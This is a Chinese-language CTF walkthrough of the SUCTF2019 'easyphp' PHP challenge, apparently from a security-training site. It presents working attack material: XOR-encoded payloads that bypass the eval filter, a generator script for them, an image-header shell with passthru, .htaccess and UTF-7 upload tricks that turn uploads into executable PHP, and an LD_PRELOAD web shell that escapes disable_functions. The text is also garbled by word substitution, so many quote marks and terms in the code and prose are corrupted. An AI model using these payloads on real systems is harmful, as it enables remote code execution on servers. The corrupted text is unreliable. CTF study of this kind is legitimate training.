原创投稿活动:

http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ

0x00 题目SUCTF2019-easyphp

phpvalid一道猖狂bypass的标题 Node.js

<?php function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = \公众upload/tmp_\"大众.md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES[\"大众file\"大众])){ $tmp_name = $_FILES[\"大众file\公众][\"大众tmp_name\公众]; $name = $_FILES[\"大众file\公众][\"大众name\"大众]; $extension = substr($name, strrpos($name,\公众.\"大众)+1); if(preg_match(\公众/ph/i\"大众,$extension)) die(\"大众^_^\"大众); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die(\"大众^_^\"大众); if(!exif_imagetype($tmp_name)) die(\"大众^_^\"大众); $path= $userdir.\"大众/\"大众.$name; @move_uploaded_file($tmp_name, $path); print_r($path); } } $hhh = @$_GET['_']; if (!$hhh){ highlight_file(__FILE__); } if(strlen($hhh)>18){ die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'\公众\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!'); $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die(\公众Almost there!\"大众); eval($hhh); ?>

0x01 剖析:

源码给出了一个文件上传的function,但是没有直接调用,接着看源码,在后面吸收GET参数$_GET['_']经由严格的过滤之后作为eval的参数传入,因此前半段的思路很明显是通过eval调用文件上传的function。
按照正常的逻辑,我们有eval函数,也可以掌握eval函数里的值,那么我们可以考虑利用eval来实行恶意代码,而题目的严格限定便是须要我们绕过的地方。

首先须要绕过字符长度的限定

if(strlen($hhh)>18){ die('One inch long, one inch strong!'); }

然后对大部分可见字符做了限定

if ( preg_match('/[\x00- 0-9A-Za-z\'\公众\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!');

通过脚本在本地跑,可以得到许可的字符。

! # $ % ( ) + - / : ; < > ? @ \ ] ^ { }

接着对可用字符数目进行了限定,不可以利用超过12种的字符。

$character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die(\"大众Almost there!\"大众);

大体思路便是通过eval调用上传函数get_the_flag,来getshell

0x02 思考

如何通过这个eval函数进行RCE,eval会将参数作为PHP代码实行,并且其传入的必须是有效的PHP代码,所有的语句必须以分号结尾,否则会导致parse error。

代码实行的浸染域是调用 eval() 处的浸染域。
因此,eval() 里任何的变量定义、修正,都会在函数结束后被保留。
eval() 返回 NULL,除非在实行的代码中 return 了一个值,函数返回通报给 return 的值。
PHP 7 开始,实行的代码里如果有一个 parse error,eval() 会抛出 ParseError 非常。
在 PHP 7 之前, 如果在实行的代码中有 parse error,eval() 返回 FALSE,之后的代码将正常实行。

如果想要以间接变量的办法来引用,须要把稳格式:

如果直接以$xxx();来调用,PHP5和PHP7并无不同,如果以($xxx)();的格式,在php7中,不许可通过('phpinfo')();来实行动态函数,但是在PHP7往后可以通过('phpinfo')();的办法来实行函数

详细可以看PHP关于表达式实行顺序在各个版本之间的解释

http://php.net/manual/zh/migration70.incompatible.php

起初一看这里面并没有引号,无法按照一样平常的方法传入字符串异或,一样平常传统的方法是通过异或^或者取反~,但是须要字符串才可以。
这里要利用异或那么便是布局('xxx'^'xxx')()的形式,或者(~'xxxx')()的形式,但此处最大的问题在于没有引号,从这道题目中学习到了,在PHP中,url 参数默认是字符串类型,不用考虑引号,并且可以利用url编码布局不可见字符,因此可以得到以下payload

Ascii码大于 0x7F 的字符都会被当作字符串,不可见字符用url编码表示,比如

(~%8F%97%8F%96%91%99%90)(); //(phpinfo)();

但是我们可用的字符里没有~,以是要想其他办法

第一:和 0xFF 异或相称于取反,可以绕过被过滤的取反符号。

%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF

第二:通过跑脚本来得到不可显字符的异或组合,来得到想要的payload。

<?php function valid($s){ if ( preg_match('/[\x00- 0-9A-Za-z\'\"大众\`~_&.,|=[\x7F]+/i', $s) ) return false; return true; } function is_valid($s){ if ( preg_match('/[\x00- 0-9A-Za-z\'\"大众\`~_&.,|=[\x7F]+/i', $s) ) return false; if(ord($s) <= 127) return false; return true; } function get($s){ $result0 = ''; $result1 = ''; for($c=0; $c < strlen($s); $c++){ for($i=0; $i<256; $i++){ // echo \"大众round $i\n\公众; if(is_valid(chr($i))){ if(is_valid(chr($i)^$s[$c])){ // echo $i; $result0.=urlencode(chr($i)); $result1.=urlencode(chr($i)^$s[$c]); break; } } } } return $result0.'^'.$result1; } echo get('phpinfo');

%80%80%80%80%80%80%80^%F0%E8%F0%E9%EE%E6%EF

得到payload。

到现在,算是绕过了字符的限定,还须要考虑长度的问题,长度只许可不超过18个字符,而上面的phpinfo也须要20个字符,因此须要考虑变量来绕过,而可控的全局变量里最短的也便是$_GET,$是可以利用的,通过脚本得到不可显字符异或的url编码的payload

%80%80%80%80^%DF%C7%C5%D4

按照间接调用的规则,$(xxxx^xxxx)()这里括号和花括号具有同等效果,由于只有右括号没有左括号,但是有花括号

${%80%80%80%80^%DF%C7%C5%D4}[X](); ${%80%80%80%80^%DF%C7%C5%D4}{X}();

这里恰好是18个字符

但是$_GET里的吸收参数须要换成不可显字符

${%80%80%80%80^%DF%C7%C5%D4}{%95}();

这样就布局出符合长度的payload,并且通过$_GET变量跳出长度的限定。

不过由于长度限定的很去世,没有办法带上参数,但是题目定义了一个上传的函数,以是我们接着看上传的函数的逻辑。

function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = \"大众upload/tmp_\"大众.md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES[\"大众file\公众])){ $tmp_name = $_FILES[\"大众file\公众][\"大众tmp_name\"大众]; $name = $_FILES[\"大众file\"大众][\公众name\"大众]; $extension = substr($name, strrpos($name,\"大众.\"大众)+1); if(preg_match(\"大众/ph/i\"大众,$extension)) die(\"大众^_^\公众); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die(\"大众^_^\公众); if(!exif_imagetype($tmp_name)) die(\"大众^_^\"大众); $path= $userdir.\"大众/\"大众.$name; @move_uploaded_file($tmp_name, $path); print_r($path); } }

这个函数紧张存在以下三个限定

第一,文件的扩展名不能存在ph的字符

$extension = substr($name, strrpos($name,\"大众.\"大众)+1); if(preg_match(\公众/ph/i\"大众,$extension)) die(\"大众^_^\"大众);

第二,文件的内容不能存在php的标识符<?

if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die(\"大众^_^\"大众);

第三,文件的头须要是图像的头,exif_imagetype()读取一个图像的第一个字节并检讨其署名。

if(!exif_imagetype($tmp_name)) die(\"大众^_^\公众);

首先对付文件头,有以下几种方法可以绕过

1、在内容前面增加GIF98a等标志

2、在文件开头增加\xff\xd8等标志

>>> fh = open('shell.php', 'w') >>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET[\"大众cmd\"大众]); ?>') >>> fh.close()

3、利用了xbm格式,X Bit Map,来绕过图片检测

一个XMB图片文件常日如下

#define width 1337 #define height 1337 static char test_bits[] = { };

在这里要结合配置文件的特性利用注释行,就会被htaccess当作无效来解析,或者行开头利用\x00开头,以是利用XBM文件恰好不影响.htaccess的解析

接着对付文件的扩展名,可以利用.htaccess或者.user.ini来绕过,详细利用哪一种须要看题目的环境而决定

.htaccess

#define width 1337 #define height 1337 AddType application/x-httpd-php .aaa

此处是把.aaa后缀的文件当作php来解析,这样我们就可以上传.aaa的文件来绕过ph的后缀限定

接着我们要绕过对文件内容的绕过,这里可以利用各种编码,比如base或者utf7,或者utf16,再htaccess中写入

#define width 1337 #define height 1337 AddType application/x-httpd-php .aaa php_flag display_errors on php_flag zend.multibyte 1 php_value zend.script_encoding \"大众UTF-7\公众

然后上传的时候文件内容进行相应的编码即可

#define width 1337 #define height 1337 +ADw?php system('ls /')+ADs +AF8AXw-halt+AF8-compiler()+ADs

在里面猖獗偷学各位师傅的姿势

到目前为止我们已经可以顺利上传文件并可以初步实行命令,但是phpinfo一下创造了basedir限定,无法读到根目录下的内容,下面须要对这个进行绕过,或者绕过disable function也可以,因此有以下baypass方法:

第一:绕过open_basedir

第二:绕过disabled func

第一个方法可以参考https://bugs.php.net/bug.php?id=70134,通过socket与fpm通信

第二个方法,disable function

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail

把稳到disable_functions里面没有putenv函数和error_log函数,因此可以通过LD_PRELOAD来bypass disable_functions。
在UNIX的动态链接库的天下中,LD_PRELOAD是一个有趣的环境变量,它可以影响程序运行时的链接,它许可你定义在程序运行前优先加载的动态链接库。
我利用的是error_log函数,这里可以先布局一个上传页面和handle文件,这样后面上传就不须要再通过前面那些检讨了。
可以自行编译.so文件也可以用现成的。

<?php echo \"大众example : http://site.com/shell.php?outpath=any_temp&sopath=/path/to/so/bypass.so&cmd=id\公众; $cmd = $_GET[\"大众cmd\"大众]; $out_path = $_GET[\公众outpath\"大众]; $payload = $cmd . \公众 > \"大众. $out_path . \"大众 2>&1\"大众; echo \公众<br/>cmdline : \"大众 .$payload; putenv(\"大众EVIL_CMDLINE=\"大众.$payload); $so_path = $_GET[\"大众sopath\公众]; putenv(\公众LD_PRELOAD=\"大众.$so_path); error_log('a',1); echo \公众<br /> output : \"大众.nl2br(file_get_contents($out_path)); ?>

末了得到flag。

0x03 参考链接

https://www.php.net/manual/zh/migration70.incompatible.php

https://www.php.net/manual/zh/migration72.deprecated.php

https://bugs.php.net/bug.php?id=70134

https://github.com/mdsnins/ctf-writeups/tree/master/2019/Insomnihack%202019/l33t-hoster

0x04 实操练习

CTF Web类的干系练习,可到合天网安实验室学习实验——XCTF-Web实战

点击:

http://www.hetianlab.com/cour.do?w=1&c=C9d6c0ca797abec2017070617340600001开始做实验哦(PC端操作最佳哟)

声明:笔者初衷用于分享与遍及网络知识,若读者因此作出任何危害网络安全行为后果自大,与合天智汇及原作者无关,本文为合天原创,如需转载,请注明出处!